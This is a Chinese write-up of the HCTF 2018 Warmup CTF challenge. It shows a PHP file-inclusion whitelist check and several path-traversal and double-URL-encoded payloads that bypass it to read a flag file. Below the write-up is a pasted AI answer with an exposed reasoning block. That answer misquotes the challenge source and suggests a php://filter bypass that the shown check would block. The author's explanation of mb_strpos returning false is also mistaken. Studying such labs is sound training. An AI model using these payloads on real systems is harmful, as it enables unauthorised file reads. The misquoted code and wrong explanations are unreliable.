[HCTF 2018]Warmup 详细wp

文章讲述了HCTF2018比赛中Warmup关卡的解题过程,涉及PHP的in_array(),mb_substr(),mb_strpos()和include函数的使用。通过分析源代码,玩家需找到正确路径访问ffffllllaaaagggg文件以获取flag,利用URL编码和问号位置来绕过安全检查。

[HCTF 2018]Warmup

按f12显示有/source.php
请添加图片描述

访问之后会显示源代码:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

可以先看到有hint.php访问一下:
在这里插入图片描述

提示了我们flag在ffffllllaaaagggg文件中

这题涉及了in_array()mb_substr()mb_strpos()include函数

先来介绍一下这四个函数

in_array() 函数

in_array() 函数搜索数组中是否存在指定的值。

in_array(search, array, type)

如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。 type 如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。如 果没有在数组中找到参数,函数返回 false。

mb_substr()函数

mb_substr() 函数返回字符串的⼀部分,之前我们学过 substr() 函数,它只针对英⽂字符,如果要分割的中⽂⽂字则需 要使⽤ mb_substr()。

mb_substr(string $str,int $start[,int $length =NULL [, string $encoding=mb_internal_encoding() ]] ) :
string

参数及描述:

请添加图片描述

<?php
echo mb_substr("你好呀", 0, 2);
// 输出:你好
?>

mb_strpos()函数

mb_strpos():返回要查找的字符串在别⼀个字符串中⾸次出现的位置。

mb_strpos(
string $haystack,
string $needle,
int $offset = 0,
string $encoding = mb_internal_encoding()
): int

请添加图片描述

返回 string 的 haystack 中 needle ⾸次出现位置的数值。 如果没有找到 needle,它将返回 false。

<?php
$str = 'http://www.baidu.com';
echo mb_strpos($str,'bai');
?>
//11
<?php
header("Content–type:text/html;chartset=utf-8");
$str = '你好,早上吃啥了';
echo mb_strpos($str,'早上');
?>
//3

include函数

寻找包含⽂件的顺序先是在当前⼯作⽬录的相对的 include_path下寻找,然后是当前运⾏脚本所在⽬录相 对的 include_path 下寻找。例如 include_path 是 .,当前⼯作⽬录是 /www/,脚本中要 include ⼀个 include/a.php 并且在该⽂件中有⼀句 include “b.php”,则寻找 b.php 的顺序先是 /www/,然后是 /www/include/。如果⽂件名以 ./ 或者 …/ 开始,则只在当前⼯作⽬录相对的 include_path 下寻找。

img

即,当include后的文件找不到且有路径时,会沿此路径一直找,直到找到文件 即,当include后的文件找不到且有路径时,会沿此路径一直找,直到找到文件

所以首先白名单就说明了我们必须要要利用hint.php或者source.php文件来进行文件读取,而且我们传入的需要是一个字符串

 $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

这段代码的意思是代码首先在$page字符串末尾加上一个问号,然后使用mb_strpos()函数查找该字符串中第一个问号的位置,返回的位置是问号在字符串中的索引值。由于在末尾加上问号后,如果$page字符串本身没有问号,mb_strpos()函数会返回false,因此这个函数的返回值还需要进行一次判断。

接着,代码使用mb_substr()函数从$page字符串的开头截取到第一个问号的位置之前的所有字符,即获取了URL路径部分,并将其赋值给$_page变量。

最终的效果就是,将$page字符串中的URL路径部分提取出来,用于后续的处理和判断。需要注意的是,如果$page字符串本身就是一个URL路径,且没有问号,那么$_page变量将会和$page变量的值相同。

则到达checkfile处的:

我们发现想要在第A个if处,就return ture 并且找到flag是不可能的

在第B个if处,经过前一步的mb_substr,_page变为 hint.php,所以return ture;

然后因为找不到,hint.php?,于是沿着路径四次返回上一层文件后访问ffffllllaaaaggg,找到了flag

为什么我们会写出/…/…/…/…/ffffllllaaaagggg这个路径的,一个一个试呗

最后的payload:

1.source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg
2.source.php?file=hint.php?/../../../../ffffllllaaaagggg
3.source.php?file=hint.php%3f/../../../../ffffllllaaaagggg
<think>好的,我现在需要帮用户解决HCTF 2018 WarmUp题目的解题思路。首先,我应该先回忆一下这个题目的基本情况。根据用户提供的引用内容,这题可能涉及到Web安全方面的挑战,比如CTF题目常见的漏洞类型,比如文件包含、代码审计等。 用户提到参考站内引用中的第三部分是关于[HCTF 2018]WarmUp的解题思路,所以首先需要从这些信息中提取关键点。根据引用中的描述,解题思路可能涉及几个步骤:首先访问页面,查看源代码;然后发现提示,比如source.php;接着分析该文件的内容,寻找可能的漏洞点,比如文件包含或PHP伪协议利用。 接下来,我需要详细拆解每个可能的步骤。比如,第一步访问网站后,查看页面源代码,可能会发现注释中的提示,例如source.php文件。访问这个文件后,可能会得到PHP代码,这时候需要进行代码审计。代码中可能存在文件包含漏洞,比如使用include或require函数,并且参数未经过滤或过滤不严。 在代码审计过程中,需要关注如何绕过安全措施。例如,代码中可能检查参数是否在白名单中,或者是否以特定字符串开头。这时候可能要用到目录穿越,比如使用../../../../etc/passwd这样的路径,或者利用PHP伪协议如php://filter来读取源代码。 另外,可能还需要考虑服务器的文件结构,比如flag文件的位置,常见的如/flag,/var/www/html/flag.txt等。通过构造合适的payload,利用文件包含漏洞来读取这些文件。 还需要注意题目是否有其他陷阱,比如需要绕过strpos检查,或者利用二次编码来绕过过滤。例如,如果代码检查参数是否以某个字符串开头,可以通过编码绕过,比如使用%2566来代表f,因为服务器可能进行两次URL解码。 然后,总结解题步骤:查看源代码找到提示文件,审计代码找漏洞点,构造payload绕过过滤,读取flag文件。同时,要确保每一步都符合题目的具体设置,可能不同的题目会有不同的过滤方式,需要根据实际情况调整payload。 最后,生成相关问题,覆盖文件包含漏洞、PHP伪协议、代码审计等方面,帮助用户深入理解相关知识点。</think>### [HCTF 2018]WarmUp 解题思路 #### 1. 初始页面与源代码分析 - 访问题目地址后,页面显示一个卡通笑脸表情。 - **关键操作**:查看页面源代码,发现注释中提示 `source.php`,访问该路径获取服务器PHP代码[^1]。 #### 2. 代码审计关键点 ```php <?php class emmm { public static function checkFile(&$page) { $whitelist = ["source" => "source.php", "hint" => "hint.php"]; if (!isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (empty($_REQUEST['file'])) { include 'hint.php'; } else { $file = $_REQUEST['file']; if (emmm::checkFile($file)) { include $file; } else { echo "you can't see it"; } } ``` - **漏洞点**:`include $file` 存在文件包含漏洞,但需通过 `checkFile()` 校验。 - **绕过逻辑**: 1. `$whitelist` 白名单仅允许 `source.php` 和 `hint.php`。 2. 利用 `mb_substr` 截取 `?` 前的路径,结合多次URL解码绕过检查。 #### 3. 构造Payload读取flag - **hint.php提示**:`flag not here, and flag in ffffllllaaaagggg`(暗示flag文件路径)。 - **Payload构造**: ```url file=source.php?/../../../../../ffffllllaaaagggg ``` - 原理:利用 `?` 截断路径检查,通过目录穿越访问根目录下的目标文件。 #### 4. 其他绕过方式 - **PHP伪协议**(若服务器允许): ```url file=php://filter/read=convert.base64-encode/resource=ffffllllaaaagggg ``` - **二次URL编码**(应对严格过滤): ```url file=source.php%253F/..%252F..%252F..%252F..%252F..%252Fffffllllaaaagggg ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值